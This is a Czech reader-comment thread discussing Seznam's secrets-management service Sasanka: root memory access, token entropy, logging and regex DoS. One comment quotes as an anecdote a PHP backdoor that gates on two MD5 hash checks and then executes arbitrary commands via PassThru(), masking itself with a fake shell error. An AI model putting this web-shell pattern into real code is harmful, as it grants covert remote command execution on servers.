Hlavní navigace

Názory k článku Tajemství jako služba. V Seznamu se o ně stará Sasanka

  • 4. 5. 2021 11:43

    ...

    Pěkné a díky za sepsání. Vidím velkou inspiraci v Vaultu od HashiCorp. Nechcete to uvolnit jako open source?

    Mám pár štouravých otázek:

    1) píštete, že neexistuje superuživatel, ale nezmiňujete se, jestli data v paměti také šifrujete. Není pak root, který může číst paměť ostatním procesů právě tím superuživatelem? Je občas rutinou vytahovat zapomenutá hesla z paměti procesoru přes gdb nebo strace.

    2) jeden z možných útoků v striktně uzavřených sítí není ukrást samotné heslo, ale změnit ho na dopředu známou hodnotu zaneseným trojským koněm. Vedete historizaci hesel a máte pro aplikace pouze read-only přístupy? V rámci namespace mám přístup na vše nebo se ty práva dají dále dělit?

    3) Jak jste se vypořádali s logováním? Logujete i přístup k tajemstvím? Hlídáte unikátnost generovaných hesel? Sledujete entropii, aby nešlo záměrně hesla a certifikáty oslabit? Jak analyzujete a kontrolujete to, co se vlastně vygenerovalo a jestli tajemství jsou dostatečně silná? Tohle bývá v praxi docela oříšek udělat to správně a nejednou jsem viděl tokeny plné nul.

    4) u regulárních výrazů jsem často naráželi na problém, kdy nešikovný zaměstnanec nebo útočník může vytvořit regulární výraz v takovém tvaru, že zahltí cpu na poměrně dlouhou dobý a vznikne s tím DoS na službu hesel, přesně v téhle situaci často nastává porušení bezpečnostních zásad a dělají se hotfixy, které mohou vést k napadení systémů. Řešíte nějak tuhle situaci?

  • 4. 5. 2021 18:33

    bez přezdívky

    Dobrý den,

    na opensource to zatím není, i když bych rád. Aby to dávalo smysl a živilo to nějaký opensource tým (dnes už jen vydat zdrojáky ven nestačí), musel by se kolem toho tvořit byznys model. A to není úplně náš primární focus.. .možná někdy s tím ARM serverem....

    K dotazům:

    1) omezím se toliko na konstatování, že superuživatel má bohužel super možnosti a může si vytáhnout i klíč, kterým jsou data zašifrovaná. Proto myšlenkami mířím na dedikovaný ARM s crypto processorem, který by klíč nikdy nevydal, ale data uměl šifrovat / dešifrovat. Pro představu, ten ARM by stačil něco velikosti Raspberry PI (což je i náš ARM dataholder). S takový setupem by šlo data uchovávat i mimo paměť v nějaké databázi.

    2) Sasanka toto neřeší, z tohoto pohledu je pouze storage s API. Ale máme interní feature request na generátor hesel, a tam se to nabízí. V rámci namespace může mít člen různá práva, ale jinak se pohybuje po celém namespace. Na jiné účely je jiný namespace. Přístup aplikací je řešen přes aplikační token, který má a měl by být omezen (typicky na daný namespace a read-only pro konzumenty).

    3) Logujeme přístup k objektům a generujeme anonymizované metriky. Kromě signing a encrypting keys Sasanka žádná hesla sama o sobě negeneruje (prozatím).

    4) jediný regulární výraz je definice scope tokenu, a to je ještě hodně specificky use-case (většinou stačí explicitně zadaný namespace), jinak se regulárky uživatelsky nepoužívají. Takže zatím to není a nebylo téma.

  • 4. 5. 2021 12:12

    XOR

    Privátní anekdota:
    $test1 = md5($login1.$hes­lo1); $test2 = md5($login2.$hes­lo2);
    $okl = 2; if ($test1 == "f9dc7214f11c­cb6a7b55c6c72d2e30fc") $okl--;
    if ($test2 == "1ab98e909fde­61e5e083e8caa15e12e­e") $okl--;
    if ($okl == 0) {
    echo "<pre>";
    if ($add != "")
    echo "bash: ".$cmd[0].": command not found \n";
    PassThru($add);
    echo "</pre>";
    }

    Kdo zná login1 a heslo1 a login2 a heslo2?

  • 5. 5. 2021 9:29

    ...

    díky za odpovědi. S tím open source to chápu, však většina věcí co Seznam.cz uvolnil zeje prázdnotou a je bez dalších aktualizací.

    Ano, proto jsem se na toho superuživatele ptal, ač tu roli nemáte v samotném SW, z principu fungování serverů tam. Je těžké v běžném serveru ty data před rootem schovat. Často lze vidět určité KMS zařízení pro ukládání tajemství ale jsou to drahé krabičky.

    Generování samotných tokenů a hesel je pilíř bezpečnosti, neměli byste to nechávat strikně na uživatelých, zejména když máte celý proces integrovaný a automatizovaný, tak nevidím problém úplně uživatele od hesel odstřihnout a nechat vše běžet vlastním životem vč. pravidelné obměny.

    Tyhle systémy bývají jedny z prvních na řadě v případě cílených útoků, logováním a hledáním výchylek v dotazech na tajemství je možné poměrně rázně a zavčasu takové útoky detekovat.

    Líbí se mi princip fungování kerberosu, kdy se služby bez validní identifikace nejsou schopné ani spojit a komunikovat, škoda, že to postupně umírá. Chápu správně, že pro zvájemnou komunikaci služeb je token dobrovolný a musí si ho každá aplikace sama nějak implementovat a Sasanka řeší pouze distribuci těhle tokenů aplikacím?